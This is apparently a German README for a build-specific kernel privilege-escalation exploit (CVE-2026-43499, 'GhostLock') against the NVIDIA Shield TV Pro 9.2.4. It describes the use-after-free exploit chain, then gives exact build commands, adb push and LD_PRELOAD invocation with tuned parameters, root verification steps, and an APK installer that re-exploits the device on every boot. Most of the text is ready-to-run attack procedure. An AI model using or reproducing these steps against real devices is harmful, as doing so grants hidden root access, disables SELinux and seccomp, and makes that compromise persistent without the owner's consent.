GhostLock für NVIDIA Shield TV Pro 9.2.4

Validierter arm64-Port des GhostLock-futex-PI-Use-after-Free (CVE-2026-43499) für die NVIDIA Shield TV Pro 2019 (mdarcy) mit Shield Experience 9.2.4. Das Payload ändert die Anmeldedaten des laufenden ADB-Daemons, sodass neue ADB-Shells UID 0 erhalten – ohne Bootloader-Unlock, Userdata-Wipe, su-Installation oder Änderung der Verified-Partitionen.

Dies ist ein buildspezifischer Kernel-Exploit für autorisierte Sicherheitsforschung. Ein Fehlabgleich oder eine verlorene Race kann den Kernel zum Absturz bringen. Führen Sie ihn nicht auf einem anderen Fingerprint, Kernel, Gerät oder einer anderen Hardware-Revision aus.

Validierter Zielrechner

Feld	Erforderlicher Wert
Produkt	NVIDIA Shield TV Pro 2019, `mdarcy`
Fingerprint	`NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys`
Kernel	`4.9.141-tegra-gb6e5605a`
Android-Patchlevel	`2026-01-05`
Kernel-Basis	`0xffffff8008080000` (Offset deaktiviert)

Der Port wurde auf einem gesperrten Gerät mit grünem Verified Boot und erzwingendem dm-verity validiert. Diese Mechanismen bleiben intakt, da der Exploit nur den Live-Kernel-Zustand ändert.

Ergebnis und Lebensdauer

Nach einem erfolgreichen Lauf meldet eine neue Verbindung UID/GID 0 sowohl für adbd als auch für dessen Kind-Shell, volle Capabilities bis Capability 37, deaktiviertes seccomp und permissives SELinux. Root übersteht ADB-Client-Trennungen. Es übersteht einen adbd-Neustart oder einen Geräteneustart von selbst nicht.

Für praktische Reboot-Persistenz ohne Änderung verifizierter Partitionen enthält das Repository eine Userdata-APK. Deren nicht exportierter BOOT_COMPLETED-Receiver startet einen kurzlebigen Vordergrunddienst, der den hash-pinned Exploit einmal pro Boot aus einer unprivilegierten App-UID ausführt und stoppt, wenn der Runner endet. Nach der Installation ist kein externer Host erforderlich. Ein externer Podman-Watchdog bleibt als Recovery-Fallback verfügbar. Siehe persistence/README.md und watchdog/README.md.

Dies ist autonome Re-Exploitation, kein statischer Firmware-Patch: Jeder Boot hat ein kurzes Intervall, in dem adbd noch seine Standard-Anmeldedaten besitzt. adbd vor der Android-Initialisierung als Root starten zu lassen, würde eine Änderung der Verified-Boot-Kette erfordern, was außerhalb dieses gesperrten, No-Wipe-Designs liegt.

Exploit-Kette

Den verwundbaren futex-PI-Rollback-Pfad auslösen und einen veralteten rt_mutex_waiter auf einem Kernel-Stack behalten.
Den zurückgewonnenen Stack mit MCAST_BLOCK_SOURCE stempeln und die rt-Mutex-Baumoperation umleiten.
Eine freigegebene Order-2-mm_struct-Slab-Seite mit einem geformten skb-Payload zurückgewinnen.
ashmem_misc.fops auf eine gefälschte Tabelle umleiten, die von Legacy- configfs-Lese-/Schreib-Handlern unterstützt wird.
Die Task-Liste durchlaufen, die angeforderte adbd-PID lokalisieren und ihr vollständiges Credential-Objekt verifizieren.
Einen begrenzten Schreibvorgang über IDs, securebits und Capability-Wörter ausführen; SELinux permissiv setzen; dann die ashmem-Operationen und den Boot-ID-Zeiger wiederherstellen.

Die geerbte Pipe-Buffer-Physikalisch-Lesen/Schreiben-Stufe wird nicht verwendet. Detaillierte Zielbeobachtungen und verifizierte Offsets finden Sie in PORT_STATUS.md.

Build

Der Compiler ist Android NDK r29 (aarch64-linux-android30-clang). Bauen Sie direkt mit einem installierten Linux-NDK:

cd exploit
make NDK=/opt/android-ndk-r29

Oder bauen Sie das mitgelieferte Podman-Image, das das offizielle r29-Linux- Archiv herunterlädt und vor der Extraktion dessen veröffentlichten SHA-1 prüft:

podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

Ausgabe:

exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

Der Shield-Build schließt absichtlich den eingebetteten su-Daemon und das Wallpaper-Payload des Referenzprojekts aus.

Ausführung

Verbinden Sie sich über autorisiertes Netzwerk-ADB, übertragen Sie das Release-Asset oder den lokalen Build und öffnen Sie dann eine ADB-Shell:

adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

Führen Sie dies innerhalb dieser Geräte-Shell aus:

GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

Trennen Sie die Verbindung und öffnen Sie einen frischen Transport zur Verifizierung:

adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

Das Payload weigert sich, aus einer bereits UID-0-ADB-Shell erneut auszulösen, es sei denn, GHOSTLOCK_FORCE_ROOT_TRIGGER=1 wird bewusst angegeben. Erzwingen Sie es nicht; der privilegierte Scheduling-Pfad hat anderes PI-Verhalten und kann einen Kernel-Panic verursachen.

Persistenz auf dem Gerät

Laden Sie die signierte Release-APK nach persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk herunter und installieren und aktivieren Sie sie dann von einem autorisierten PowerShell-ADB-Host:

./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

Der Installer ändert nur Userdata und führt keinen Neustart durch. Beim nächsten BOOT_COMPLETED validiert die App den exakten Fingerprint, Kernel und eingebetteten Payload-Hash, protokolliert ihren Versuch und ruft GhostLock aus ihrer normalen App-UID auf. Eine Dateisperre, ein Ein-Versuch-pro-Boot-Zustand und eine 15-minütige Boot-übergreifende Abklingzeit verhindern doppelte oder Reboot-Loop-Versuche. Es installiert kein su-Binary. Android zeigt eine niedrig priorisierte Benachrichtigung Restoring ADB root nur, während der native Runner aktiv ist; der Waiter entfernt sie, wenn der Prozess endet. Siehe persistence/README.md für Details zu Build, Signierung, Logs, Verifizierung, Recovery und Deinstallation.

Die finale APK wurde bei gestopptem externem Watchdog validiert: Boot-Zähler 134 zeigte zuerst Standard-UID-2000/erzwingendes adbd, und der nächste frische Transport war UID/GID 0 mit der vollständigen 0x3fffffffff-Capability-Maske, deaktiviertem seccomp und permissivem SELinux. Dienst und Benachrichtigung hatten sich selbst bereinigt.

Logs und Recovery

Diagnosen manueller Läufe werden synchron nach /sdcard/Download/log_<timestamp>.txt geschrieben, mit Fallback auf /data/local/tmp. Die Boot-App leitet Runner- und Payload-Ausgabe in ihr privates files/boot.log um, lesbar mit run-as com.cyberbalsa.ghostlockboot. Wenn die Race den Kernel zum Absturz bringt, verhindert der Pre-Trigger-Zustand einen weiteren Versuch in diesem Boot-Zähler, und die 15-minütige Abklingzeit gilt über den Neustart hinweg.

Repository-Übersicht

exploit/src/: Trigger, Reclaim, beliebiges Lesen/Schreiben und begrenzter adbd-Credential-Patch.
exploit/targets/shield-mdarcy-9.2.4/: exaktes buildspezifisches Ziellayout.
analysis/: Hilfsprogramme zur Kernel-Symbol- und Layout-Extraktion.
persistence/: On-Device-Boot-APK, nativer Runner und Installer.
watchdog/: hash-pinned hostseitiger Recovery-Fallback.
report.md: ursprüngliche OPPO-Referenzport-Analyse zur Herkunftsnachverfolgung.

Danksagungen und Lizenz

Dieser Port stammt vom GhostLock-Forschungs- und Exploit-Framework, veröffentlicht von NebuSec, und vom OPPO-PCKM00-Referenzport von yijiacloud. KernelSnitch ist unter seinen Upstream-Bedingungen eingebettet.

Apache-2.0; siehe LICENSE.

Beliebteste

GhostLock-NVIDIA-Shield-9.2.4